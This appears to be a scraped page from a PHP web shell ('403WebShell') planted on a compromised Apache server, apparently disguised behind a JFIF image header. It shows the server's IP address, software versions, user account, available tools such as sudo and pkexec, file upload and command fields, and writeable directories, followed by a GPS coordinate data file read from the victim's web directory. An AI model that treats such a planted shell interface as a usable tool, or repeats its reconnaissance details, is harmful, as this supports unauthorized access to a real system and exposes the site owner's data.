????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.25
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/RTA_MAP/data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/RTA_MAP/data/DAT_0026_A1.cor
1	2018-09-05	11:06:49	58.35514534333	N	15.11146857167	E	172.011	M	1
2	2018-09-05	11:06:52	58.35512386500	N	15.11143760333	E	162.876	M	1
3	2018-09-05	11:06:53	58.35512264667	N	15.11145009833	E	164.575	M	1
4	2018-09-05	11:06:53	58.35512209000	N	15.11147603833	E	168.835	M	1
5	2018-09-05	11:06:53	58.35511811167	N	15.11147494000	E	169.255	M	1
6	2018-09-05	11:06:54	58.35511128667	N	15.11147771167	E	168.475	M	1
7	2018-09-05	11:06:54	58.35510482833	N	15.11148222500	E	168.184	M	1
9	2018-09-05	11:06:54	58.35510022000	N	15.11148440000	E	168.281	M	1
10	2018-09-05	11:06:55	58.35508974167	N	15.11148227167	E	167.495	M	1
11	2018-09-05	11:06:55	58.35508563500	N	15.11148355333	E	167.593	M	1
12	2018-09-05	11:06:55	58.35508113167	N	15.11148689833	E	167.682	M	1
13	2018-09-05	11:06:55	58.35506683833	N	15.11146500500	E	157.467	M	1
14	2018-09-05	11:06:56	58.35505755667	N	15.11146987000	E	157.664	M	1
15	2018-09-05	11:06:56	58.35505241667	N	15.11147250167	E	157.246	M	1
17	2018-09-05	11:06:56	58.35504316000	N	15.11148335333	E	157.257	M	1
18	2018-09-05	11:06:56	58.35504167000	N	15.11148558500	E	158.351	M	1
19	2018-09-05	11:06:57	58.35503430667	N	15.11148947500	E	159.297	M	1
21	2018-09-05	11:06:57	58.35502580500	N	15.11149602333	E	159.623	M	1
22	2018-09-05	11:06:57	58.35502188667	N	15.11149610667	E	158.424	M	1
23	2018-09-05	11:06:58	58.35501120167	N	15.11150158333	E	158.570	M	1
25	2018-09-05	11:06:58	58.35500412833	N	15.11150224167	E	159.533	M	1
26	2018-09-05	11:06:59	58.35500999167	N	15.11151896667	E	167.390	M	1
27	2018-09-05	11:06:59	58.35501155500	N	15.11152776167	E	171.577	M	1
28	2018-09-05	11:06:59	58.35500451167	N	15.11152631333	E	170.446	M	1
29	2018-09-05	11:07:00	58.35499689833	N	15.11152978500	E	171.519	M	1
31	2018-09-05	11:07:00	58.35499536167	N	15.11153205833	E	172.359	M	1
32	2018-09-05	11:07:00	58.35499178000	N	15.11153598833	E	173.742	M	1
33	2018-09-05	11:07:00	58.35498788833	N	15.11153788500	E	174.083	M	1
34	2018-09-05	11:07:01	58.35498169833	N	15.11154274833	E	174.838	M	1
35	2018-09-05	11:07:01	58.35497962833	N	15.11154300000	E	175.274	M	1
36	2018-09-05	11:07:01	58.35495712333	N	15.11150802167	E	158.245	M	1
37	2018-09-05	11:07:01	58.35495146667	N	15.11150605833	E	157.348	M	1
38	2018-09-05	11:07:02	58.35494612333	N	15.11150688167	E	157.641	M	1
39	2018-09-05	11:07:02	58.35494462500	N	15.11150723167	E	158.368	M	1
40	2018-09-05	11:07:02	58.35494494333	N	15.11151287500	E	159.521	M	1
41	2018-09-05	11:07:02	58.35494446833	N	15.11151382167	E	159.958	M	1
42	2018-09-05	11:07:03	58.35491716167	N	15.11147726000	E	144.543	M	1
43	2018-09-05	11:07:03	58.35491000000	N	15.11146950000	E	141.657	M	1
44	2018-09-05	11:07:03	58.35491460333	N	15.11148818833	E	149.160	M	1
45	2018-09-05	11:07:04	58.35491219500	N	15.11149347000	E	150.426	M	1
46	2018-09-05	11:07:04	58.35490964500	N	15.11149526667	E	150.822	M	1
47	2018-09-05	11:07:04	58.35491049333	N	15.11150471667	E	154.838	M	1
48	2018-09-05	11:07:05	58.35490954500	N	15.11151332667	E	156.592	M	1
49	2018-09-05	11:07:05	58.35491418000	N	15.11152218833	E	160.165	M	1
51	2018-09-05	11:07:06	58.35490270333	N	15.11158377333	E	167.597	M	1
52	2018-09-05	11:07:06	58.35488327667	N	15.11164034000	E	171.096	M	1
53	2018-09-05	11:07:07	58.35491129500	N	15.11153444167	E	165.318	M	1
54	2018-09-05	11:07:07	58.35490946167	N	15.11154938833	E	167.720	M	1
55	2018-09-05	11:07:07	58.35490674667	N	15.11154705000	E	167.282	M	1
56	2018-09-05	11:07:07	58.35490346167	N	15.11155342833	E	167.251	M	1
57	2018-09-05	11:07:08	58.35491843833	N	15.11159873333	E	186.192	M	1
58	2018-09-05	11:07:09	58.35490949667	N	15.11159380333	E	177.702	M	1
59	2018-09-05	11:07:10	58.35490792667	N	15.11161719667	E	183.059	M	1
60	2018-09-05	11:07:10	58.35489506667	N	15.11160610333	E	176.637	M	1
61	2018-09-05	11:07:11	58.35487661667	N	15.11158904833	E	168.470	M	1
63	2018-09-05	11:07:11	58.35487110167	N	15.11159728333	E	169.326	M	1
64	2018-09-05	11:07:11	58.35485580500	N	15.11157296833	E	159.473	M	1
65	2018-09-05	11:07:12	58.35485373667	N	15.11157529167	E	158.367	M	1
66	2018-09-05	11:07:12	58.35484573333	N	15.11157094333	E	155.062	M	1
67	2018-09-05	11:07:12	58.35484341500	N	15.11157994167	E	155.038	M	1
68	2018-09-05	11:07:12	58.35484691167	N	15.11160244167	E	161.222	M	1
70	2018-09-05	11:07:13	58.35484436000	N	15.11160634333	E	161.434	M	1
71	2018-09-05	11:07:13	58.35483778333	N	15.11161088167	E	160.197	M	1
72	2018-09-05	11:07:13	58.35482682833	N	15.11161350000	E	158.049	M	1
73	2018-09-05	11:07:13	58.35482380667	N	15.11162158000	E	158.733	M	1
75	2018-09-05	11:07:14	58.35481813500	N	15.11162928333	E	158.866	M	1
76	2018-09-05	11:07:14	58.35483585000	N	15.11167038000	E	155.594	M	1
77	2018-09-05	11:07:14	58.35483884500	N	15.11168276167	E	157.187	M	1
79	2018-09-05	11:07:15	58.35483410000	N	15.11169212000	E	156.118	M	1
80	2018-09-05	11:07:15	58.35482938333	N	15.11169488000	E	157.323	M	1
81	2018-09-05	11:07:15	58.35482724500	N	15.11170757167	E	159.232	M	1
83	2018-09-05	11:07:15	58.35482434667	N	15.11171421333	E	158.476	M	1
84	2018-09-05	11:07:16	58.35480751167	N	15.11171199833	E	154.750	M	1
85	2018-09-05	11:07:16	58.35480267000	N	15.11171582000	E	157.321	M	1
87	2018-09-05	11:07:16	58.35480252167	N	15.11172460667	E	156.634	M	1
88	2018-09-05	11:07:16	58.35479899500	N	15.11173244833	E	157.097	M	1
89	2018-09-05	11:07:17	58.35479464667	N	15.11174435667	E	157.101	M	1
91	2018-09-05	11:07:17	58.35479742167	N	15.11176130500	E	157.682	M	1

Youez - 2016 - github.com/yon3zu
LinuXploit